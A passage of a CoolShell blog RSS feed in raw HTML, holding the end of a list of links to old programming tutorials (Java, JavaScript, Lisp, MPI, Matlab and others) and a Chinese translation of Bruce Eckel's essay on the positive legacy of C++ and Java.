10pt; color: #23238e; font-family: Verdana, sans-serif;\">Hacking Java: The Java Professional&#8217;s Resource Kit </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/0789714663/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JFC Unleashed </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/157521069X/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Developer&#8217;s Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/1575211297/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Developer&#8217;s Reference </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/1575211831/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself Java in 21 Days (Professional Reference Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/1575211971/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Unleashed (2nd Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/1575212986/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java 1.1 Unleashed (3rd Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.intergate.bc.c/apersonal/iago/javatut/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Game Programming Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.io.com/~maus/JavaNetworkingFAQ.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Networking FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.javasoft.com/docs/books/tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Tutorial: A Practical Guide for Programmers </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.javaworld.com/javaworld/jw-12-1996/jw-12-sockets.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sockets Programming in Java </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxfocus.org/English/articles/article34.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Programming with Java &#8211; Part I </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxfocus.org/English/articles/article8.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Programming with Java &#8211; Part II </span></a><br />\n<a href=\"http://www.linuxgazette.com/issue45/gibbs/Linux_java.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Setting Up a Java Development Environment for Linux </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.sofcom.com.au/jav/a\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Understanding Java </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue55/2570.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Beginner&#8217;s Guide to JDK </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue61/2673.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GUI Development in Java </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue66/3119.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Servlets: An introduction to writing and running Java servlets on Linux </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">JavaScript</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://andyjava.simplenet.com/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introductory JavaScript Tutorials </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.netscape.com/docs/manuals/communicator/jsguide4/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JavaScript Authoring Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.netscape.com/docs/manuals/js/client/jsguide/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Client-Side JavaScript 1.3 Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.netscape.com/docs/manuals/js/client/jsref/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Client-Side JavaScript 1.3 Reference </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.netscape.com/docs/manuals/js/core/jsguide/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Core JavaScript 1.4 Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.netscape.com/docs/manuals/js/core/jsref/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Core JavaScript 1.4 Reference </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.netscape.com/docs/manuals/ssjs/1_4/contents.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Server-Side JavaScript 1.4 Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.netscape.com/support/faqs/champions/javascript.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JavaScript FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://home.att.net/~baldwin.r.g/scoop/tocjscript1.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JavaScript Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://rampages.onramp.net/~jnardo/javascript/zen.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Way of JavaScript </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://rummelplatz.uni-mannheim.de/~skoch/js/tutorial.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Voodoo&#8217;s Introduction to JavaScript </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://wdvl.com/Authoring/JavaScript/Tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JavaScript Tutorial for Programmers </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://wsabstract.com/javatutors/primer1.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JavaScript Primer </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.echoecho.com/javascript.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">EchoEcho JavaScript Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/1575211955/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself JavaScript 1.1 in a Week (2nd Ed.) </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Lisp</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://ringer.cs.utsa.edu/research/AI/cltl/common-lisp-tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Common Lisp Hints </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.cs.cmu.edu/Web/Groups/AI/html/cltl/cltl2.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Common Lisp the Language (2nd Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.cs.cmu.edu/Web/Groups/AI/html/faqs/lang/lisp/top.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Lisp FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.cse.cuhk.edu.hk/~csc4510/lisp/html/lisp.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Lisp Programming Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.eecs.tulane.edu/www/Villamil/lisp/lisp1.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Lisp Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.nyu.edu/pages/linguistics/nlcp/lisp.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">LISP Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.xanalys.com/software_tools/reference/HyperSpec/FrontMatter/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Common Lisp HyperSpec </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">MIDI</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://www.borg.com/~jglatt/tutr/miditutr.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Basic MIDI Tutorials </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.harmony-central.com/MIDI/Doc/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Tutorial on MIDI and Music Synthesis </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">ML</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://cs.wwc.edu/Environment/SML-Tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">ML Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.dcs.ed.ac.uk/home/stg/NOTES/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Programming in Standard ML &#8217;97 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.dcs.napier.ac.uk/course-notes/sml/manual.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Gentle Introduction to ML </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.dina.dk/~sestoft/manual/manual.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Moscow ML Owner&#8217;s Manual </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">MPI</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://www-erl.mit.edu/cagc/mpi/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">An MPI Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-unix.mcs.anl.gov/mpi/tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Tutorial on MPI </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-unix.mcs.anl.gov/mpi/tutorial/mpibasics/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">MPI: Portable Parallel Programming for Scientific Computing </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-unix.mcs.anl.gov/mpi/tutorial/perf/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Tuning MPI Applications for Peak Performance </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.epm.ornl.gov/~walker/mpi/SLIDES/mpi-tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">MPI: From Fundamentals to Applications </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.mpi.nd.edu/mpi_tutorials/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">MPI Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.netlib.org/utk/papers/mpi-book/mpi-book.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">MPI: The Complete Reference </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.scs.leeds.ac.uk/cpde/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to Parallel Programming Using MPI </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.tc.cornell.edu/Edu/Talks/MPI/Basic/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Basics of MPI Programming </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Matlab</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<span style=\"font-family: 'Times New Roman';\"><a href=\"http://www.engin.umich.edu/group/ctm/basic/basic.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Matlab Basics Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.math.ufl.edu/help/matlab-tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Matlab Summary and Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.mathworks.com/access/helpdesk/help/fulldocset.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Matlab &#8211; Official Online Manuals in PDF </span></a><br />\n</span><br />\n<strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Misc</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://bigfoot.eecs.umich.edu/~soar/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Soar 8 Tutorial Home Page </span></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/585.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"5个不错的Flash的英文教程网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/585.html\" class=\"wp_rp_title\">5个不错的Flash的英文教程网</a></li><li ><a href=\"https://coolshell.cn/articles/355.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/screenshot-linuxdevicedrivers-150x150.png\" alt=\"20本最好的Linux免费书籍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/355.html\" class=\"wp_rp_title\">20本最好的Linux免费书籍</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/870.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/05/07-01_cs3_keyboard_shortcuts-150x150.png\" alt=\"Web设计的速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/870.html\" class=\"wp_rp_title\">Web设计的速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/1751.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"Go 语言：Google 的新编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1751.html\" class=\"wp_rp_title\">Go 语言：Google 的新编程语言</a></li><li ><a href=\"https://coolshell.cn/articles/595.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Oracle成功收购Sun\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/595.html\" class=\"wp_rp_title\">Oracle成功收购Sun</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/240.html\">非常不错的编程技术教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/240.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C++和JAVA传统中积极的一面</title>\n\t\t<link>https://coolshell.cn/articles/209.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/209.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Sun, 22 Mar 2009 13:29:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=209</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>译者注： 本文翻译自Bruce Eckel（《Thinking in C++》&#38; 《Thinking in Java》作者）的博文，该博文于2009年0...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/209.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/209.html\">C++和JAVA传统中积极的一面</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/bruceeckel.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-232\" title=\"bruceeckel\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/bruceeckel.jpg\" alt=\"bruceeckel\" width=\"95\" height=\"130\" /></a>译者注</strong>：</p>\n<p>本文翻译自Bruce Eckel（《Thinking in C++》&amp; 《Thinking in Java》作者）的博文，该博文于2009年03月14日发表于：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://www.artima.com/weblogs/viewpost.jsp?thread=252441\">http://www.artima.com/weblogs/viewpost.jsp?thread=252441</a></p>\n<p>本文的发表引起了互联网上热烈的讨论，关于讨论大家可以到<a href=\"http://www.artima.com/forums/flat.jsp?forum=106&amp;thread=252441\" target=\"_blank\">这里</a>围观。</p>\n<p>下面是原文。原名《<strong>The Positive Legacy of C++ and Java</strong>》</p>\n<p><strong>摘要：</strong></p>\n<p>在最近的讨论中，有些人断定C++并不是一个设计完美的语言。在我在C++标准委员那8年里，我目睹所有关于C++的决议的诞生。我希望本文有助于帮读者理解C++和JAVA的设计选择，从而可以让大家更全面的来看待他们。<br />\n<span id=\"more-209\"></span></p>\n<p>有人说，我很少再使用C++。当我使用C++时，我只是为了测试一下陈旧的代码，或者写一个和性能密切相关的程序，通常这个程序非常小，并且通过其他的语言来调用。(我喜欢的做法是，用Python快速开发一个程序，用profile辅助程序对其进行性能优化，如果需要的话，通过Python的ctypes调用C++写的程序来改善性能)。</p>\n<p>因为我曾经是C++标准委员会的一员，我目睹了这些决议的产生。这些C++决议都是在经过超级深思熟虑的考虑之后在做出，他们远比大多数Java的决议更为谨慎小心。</p>\n<p>然而，就像有些人准确地指出那样，C++是复杂而难于使用的，并且充满了各种个样容易让人忘记的古怪的规则。当我在写书的时候，我只能从规范中找到这些规则的说明，而不是自己能记住这些规则。</p>\n<p>为了让人们理解C++这门语言如何即难用、复杂，同时还要有良好的设计，你必须记住一条C++中最主要的设计原则——兼容C语言。这是Stroupstru最正确的决定，这样做将会出现一条让大量的C程序员通向C++程序的捷径：这条捷径允许C程序员不需要做任何修改就可以在C++下编译程序。然而，这也成为了C++语言巨大的约束，它给C++带来了强大的力量，同时也给C++带来了无尽的痛楚。正是因为这个约束导致了C++如此的成功，并且也如此的复杂。</p>\n<p>这些C++古怪的条约使那些没有完全了解C++的Java的设计者们犯了傻。例如，他们认为程序员能用好操作符重载将会是非常困难的一件事。但是操作符重载在C++中却是必须的，因为在C++中有栈分配，同时又有堆上的分配，你只有通过重载好操作符来处理好不同类型的内存分配，并保证不会产生内存泄漏，的确是难！但对Java来说，因为Java只有单一的一种内存分配机制（<span style=\"color: #800080;\"><strong>译者注：</strong>Java基本上是采用堆分配</span>）和垃圾回收机制，这样操作符重载在Java中就变得多余（正如C#的操作符重载，和更早之前的Python操作重载，但是Python出现的要比Java早）。但是多年以来，来自Java的团队就一致认为“操作符重载太过复杂”。这一决议或其他的一些Java决议，明显说明了很多Java的设计者在做出决议的时候没有做足自己的工作，这也是为什么我有了一个藐视由Gosling和他的Java团队所做决议的名声。</p>\n<p>同样还有太多太多的例子，基本类型“因为性能原因被引入”。真正的原因是为了坚持“所有都是对象”，并且同时为底层具有效率要求的程序提供一个后门（同时这也使得一些热点技术执行起来更有效率）。噢，但是事实是，你没有办法直接使用浮点处理器来进行超越函数的计算（<span style=\"color: #800080;\"><strong>译者注：</strong></span><a href=\"http://en.wikipedia.org/wiki/Transcendental_function\" target=\"_blank\"><span style=\"color: #800080;\">Transcendental Functions </span></a><span style=\"color: #800080;\">，一种微积分的函数</span>），而只能使用软件来计算，但原本这类函数就可以使用浮点计算处理器来计算的。我尽我所能将类似这样的问题罗列出来，但是我听到的结果却总是那些无用的回答“这就是Java的方式”。</p>\n<p>当我写下泛型是个如何糟糕的设计时，我得到了同样的回应，“我们必须兼容之前的（糟糕的）Java的决议”。最后越来越多的人们获得了足够关于泛型是多难用的经验——的确，C++的泛型更强大，一致性更好（尤其现在当编译器的错误信息越来越清晰后，泛型也比以前更好使用），因为Java泛型设计很差，很难，所以人们又开始回到认真对待具现化而不是泛型，当然，这对语言是有帮助的，因为具现化这个东西并不会消弱太多的语言设计，也不会因为这些自我限制而导致语言缺陷。</p>\n<p>那个Java的问题列表在这些沉闷的回应面前只能显得单调乏味。那么，是不是这样就意味着Java是失败的语言设计呢？绝对不是，Java将主流程序员带入到了一个垃圾收集器、虚拟机、一致的错误处理模型的世界(如果你不使用异常处理，这类异常可能是非常有用的异常，正如我在《Think in Java 》4ed中演示的那样)。伴随着它设计上种种缺陷，Java把我们带领到了一个更高的层次，在这个层次上我们正在准备着迎接更为高级别的语言。</p>\n<p>另一个观点，人们一直认为C++是语言中的先驱，许多人也认为Java是语言的先驱。但是因为虚拟机，Java使得自己更容易被别的语言替代。现在任何人都有可能快速创建一门新的语言，并且和Java具有一样的效率；而以前，要得到一个正确的，有效率的编译器花去了开发一门新语言的大部分时间。</p>\n<p>现在，我们正在见证这一切的发生——不管是更高级的静态语言，例如Scala，或者说是动态语言（<span style=\"color: #800080;\"><strong>译者注</strong>：Dynamic Language，如Python或Ruby</span>），不管是新的还是移植的，例如Groovy ，JRuby和Jython。这就是未来的趋势，并且其过度将会非常的平滑，因为你可以在已有的Java代码中使用这些新语言，如果有需要，你甚至可以重写Java中产生有性能瓶颈的地方。</p>\n<p>正如C++会消亡一样，Java自生有可能消亡，或着被用于特殊环境之下（或仅仅是为了支持以前遗留的代码，因为Java并不像C++那样会被用于硬件编程）。但是Java 真正的亮点，也是意料之外的收获，就是如果当Java已经到了自身没法在进化的地步时，Java已经为其替代者创建一条平滑之路。所有未来的语言都将从这里学到：要么为自己创建一种可以不断重构(进化)(正如Python和Ruby做的那样)的文化，要么就让其竞争者发展壮大。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" 